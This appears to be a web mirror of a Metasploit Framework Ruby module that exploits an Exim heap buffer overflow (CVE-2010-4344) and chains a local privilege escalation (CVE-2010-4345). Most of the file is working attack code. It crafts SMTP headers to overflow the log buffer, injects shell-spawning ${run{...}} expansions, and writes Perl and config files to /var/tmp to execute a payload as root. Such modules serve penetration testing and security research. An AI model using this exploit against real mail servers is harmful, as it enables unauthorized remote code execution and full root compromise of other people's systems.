CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/smtp/exim4_string_format.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Smtp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Exim4 string_format Function Heap Buffer Overflow',
14
'Description' => %q{
15
This module exploits a heap buffer overflow within versions of Exim prior to
16
version 4.69. By sending a specially crafted message, an attacker can corrupt the
17
heap and execute arbitrary code with the privileges of the Exim daemon.
18
19
The root cause is that no check is made to ensure that the buffer is not full
20
prior to handling '%s' format specifiers within the 'string_vformat' function.
21
In order to trigger this issue, we get our message rejected by sending a message
22
that is too large. This will call into log_write to log rejection headers (which
23
is a default configuration setting). After filling the buffer, a long header
24
string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
25
FROM' command. By sending a second message, the string we sent will be evaluated
26
with 'expand_string' and arbitrary shell commands can be executed.
27
28
It is likely that this issue could also be exploited using other techniques such
29
as targeting in-band heap management structures, or perhaps even function pointers
30
stored in the heap. However, these techniques would likely be far more platform
31
specific, more complicated, and less reliable.
32
33
This bug was original found and reported in December 2008, but was not
34
properly handled as a security issue. Therefore, there was a 2 year lag time
35
between when the issue was fixed and when it was discovered being exploited
36
in the wild. At that point, the issue was assigned a CVE and began being
37
addressed by downstream vendors.
38
39
An additional vulnerability, CVE-2010-4345, was also used in the attack that
40
led to the discovery of danger of this bug. This bug allows a local user to
41
gain root privileges from the Exim user account. If the Perl interpreter is
42
found on the remote system, this module will automatically exploit the
43
secondary bug as well to get root.
44
},
45
'Author' => [ 'jduck', 'hdm' ],
46
'License' => MSF_LICENSE,
47
'References' =>
48
[
49
[ 'CVE', '2010-4344' ],
50
[ 'CVE', '2010-4345' ],
51
[ 'OSVDB', '69685' ],
52
[ 'OSVDB', '69860' ],
53
[ 'BID', '45308' ],
54
[ 'BID', '45341' ],
55
[ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],
56
[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
57
[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
58
[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
59
],
60
'Privileged' => true,
61
'Payload' =>
62
{
63
'DisableNops' => true,
64
'Space' => 8192, # much more in reality, but w/e
65
'Compat' =>
66
{
67
'PayloadType' => 'cmd',
68
'RequiredCmd' => 'generic perl ruby telnet',
69
}
70
},
71
'Platform' => 'unix',
72
'Arch' => ARCH_CMD,
73
'Targets' =>
74
[
75
[ 'Automatic', { } ],
76
],
77
# Originally discovered/reported Dec 2 2008
78
'DisclosureDate' => '2010-12-07', # as an actual security bug
79
'DefaultTarget' => 0))
80
81
register_options(
82
[
83
OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
84
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
85
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
86
])
87
88
register_advanced_options(
89
[
90
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
91
OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
92
OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
93
])
94
end
95
96
def exploit
97
#
98
# Connect and grab the banner
99
#
100
ehlo = datastore['EHLO_NAME']
101
ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"
102
103
print_status("Connecting to #{rhost}:#{rport} ...")
104
connect
105
106
print_status("Server: #{self.banner.to_s.strip}")
107
if self.banner.to_s !~ /Exim /
108
disconnect
109
fail_with(Failure::NoTarget, "The target server is not running Exim!")
110
end
111
112
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
113
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
114
end
115
116
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
117
ehlo_resp.each_line do |line|
118
print_status("EHLO: #{line.strip}")
119
end
120
121
#
122
# Determine the maximum message size
123
#
124
max_msg = 52428800
125
if ehlo_resp.to_s =~ /250-SIZE (\d+)/
126
max_msg = $1.to_i
127
end
128
129
#
130
# Determine what hostname the server sees
131
#
132
saddr = nil
133
revdns = nil
134
if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
135
revdns = $1
136
saddr = $2
137
end
138
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
139
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
140
141
142
#
143
# Initiate the message
144
#
145
from = datastore['MAILFROM']
146
to = datastore['MAILTO']
147
148
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
149
resp ||= 'no response'
150
msg = "MAIL: #{resp.strip}"
151
if not resp or resp[0,3] != '250'
152
fail_with(Failure::Unknown, msg)
153
else
154
print_status(msg)
155
end
156
157
resp = raw_send_recv("RCPT TO: #{to}\r\n")
158
resp ||= 'no response'
159
msg = "RCPT: #{resp.strip}"
160
if not resp or resp[0,3] != '250'
161
fail_with(Failure::Unknown, msg)
162
else
163
print_status(msg)
164
end
165
166
resp = raw_send_recv("DATA\r\n")
167
resp ||= 'no response'
168
msg = "DATA: #{resp.strip}"
169
if not resp or resp[0,3] != '354'
170
fail_with(Failure::Unknown, msg)
171
else
172
print_status(msg)
173
end
174
175
176
#
177
# Calculate the headers
178
#
179
msg_len = max_msg + (1024*256) # just for good measure
180
log_buffer_size = 8192
181
182
host_part = "H="
183
if revdns and revdns != ehlo
184
host_part << revdns << " "
185
end
186
host_part << "(#{ehlo})"
187
188
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
189
print_status("Constructing initial headers ...")
190
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
191
log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
192
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
193
194
# We want 2 bytes left, so we subtract from log_buffer_size here
195
log_buffer_size -= 3 # account for the nul termination too
196
197
# Now, " " + hdrline for each header
198
hdrs = []
199
while log_buffer.length < log_buffer_size
200
header_name = rand_text_alpha(10).capitalize
201
filler = rand_text_alphanumeric(8 * 16)
202
hdr = "#{header_name}: #{filler}\n"
203
204
one = (2 + hdr.length)
205
two = 2 * one
206
left = log_buffer_size - log_buffer.length
207
if left < two and left > one
208
left -= 4 # the two double spaces
209
first = left / 2
210
hdr = hdr.slice(0, first - 1) + "\n"
211
hdrs << hdr
212
log_buffer << " " << hdr
213
214
second = left - first
215
header_name = rand_text_alpha(10).capitalize
216
filler = rand_text_alphanumeric(8 * 16)
217
hdr = "#{header_name}: #{filler}\n"
218
hdr = hdr.slice(0, second - 1) + "\n"
219
end
220
hdrs << hdr
221
log_buffer << " " << hdr
222
end
223
hdrs1 = hdrs.join
224
225
# This header will smash various heap stuff, hopefully including the ACL
226
header_name = Rex::Text.rand_text_alpha(7).capitalize
227
print_status("Constructing HeaderX ...")
228
hdrx = "#{header_name}: "
229
1.upto(50) { |a|
230
3.upto(12) { |b|
231
hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
232
}
233
}
234
235
# In order to trigger the overflow, we must get our message rejected.
236
# To do so, we send a message that is larger than the maximum.
237
238
print_status("Constructing body ...")
239
body = ''
240
fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384
241
242
while(body.length < msg_len)
243
body << fill
244
end
245
body = body[0, msg_len]
246
247
print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
248
sock.put hdrs1
249
sock.put hdrx
250
sock.put "\r\n"
251
sock.put body
252
253
print_status("Ending first message.")
254
buf = raw_send_recv("\r\n.\r\n")
255
# Should be: "552 Message size exceeds maximum permitted\r\n"
256
print_status("Result: #{buf.inspect}") if buf
257
258
second_result = ""
259
260
print_status("Sending second message ...")
261
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
262
# Should be: "sh-x.x$ " !!
263
if buf
264
print_status("MAIL result: #{buf.inspect}")
265
second_result << buf
266
end
267
268
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
269
# Should be: "sh: RCPT: command not found\n"
270
if buf
271
print_status("RCPT result: #{buf.inspect}")
272
second_result << buf
273
end
274
275
# Clear pending output from the socket
276
buf = sock.get_once(-1, 1.0)
277
second_result << buf if buf
278
sock.put("source /etc/profile >/dev/null 2>&1\n")
279
buf = sock.get_once(-1, 2.0)
280
second_result << buf if buf
281
282
# Check output for success
283
if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
284
print_error("Second result: #{second_result.inspect}")
285
fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
286
end
287
288
resp = ''
289
if not datastore['SkipEscalation']
290
print_status("Looking for Perl to facilitate escalation...")
291
# Check for Perl as a way to escalate our payload
292
sock.put("perl -V\n")
293
select(nil, nil, nil, 3.0)
294
resp = sock.get_once(-1, 10.0)
295
end
296
297
if resp !~ /Summary of my perl/
298
print_status("Should have a shell now, sending payload...")
299
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
300
if buf
301
if buf =~ /554 SMTP synchronization error/
302
print_error("This target may be patched: #{buf.strip}")
303
else
304
print_status("Payload result: #{buf.inspect}")
305
end
306
end
307
else
308
print_status("Perl binary detected, attempt to escalate...")
309
310
token = Rex::Text.rand_text_alpha(8)
311
# Flush the output from the shell
312
sock.get_once(-1, 0.1)
313
314
# Find the perl interpreter path
315
sock.put("which perl;echo #{token}\n")
316
buff = ""
317
cnt =
318
while not buff.index(token)
319
res = sock.get_once(-1, 0.25)
320
buff << res if res
321
end
322
323
perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip
324
print_status("Using Perl interpreter at #{perl_path}...")
325
326
temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
327
temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
328
temp_eof = Rex::Text.rand_text_alpha(8)
329
330
print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")
331
332
data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
333
sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")
334
335
data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
336
sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")
337
338
print_status("Attempting to execute payload as root...")
339
sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
340
end
341
342
# Give some time for the payload to be consumed
343
select(nil, nil, nil, 4)
344
345
handler
346
disconnect
347
end
348
end
349
350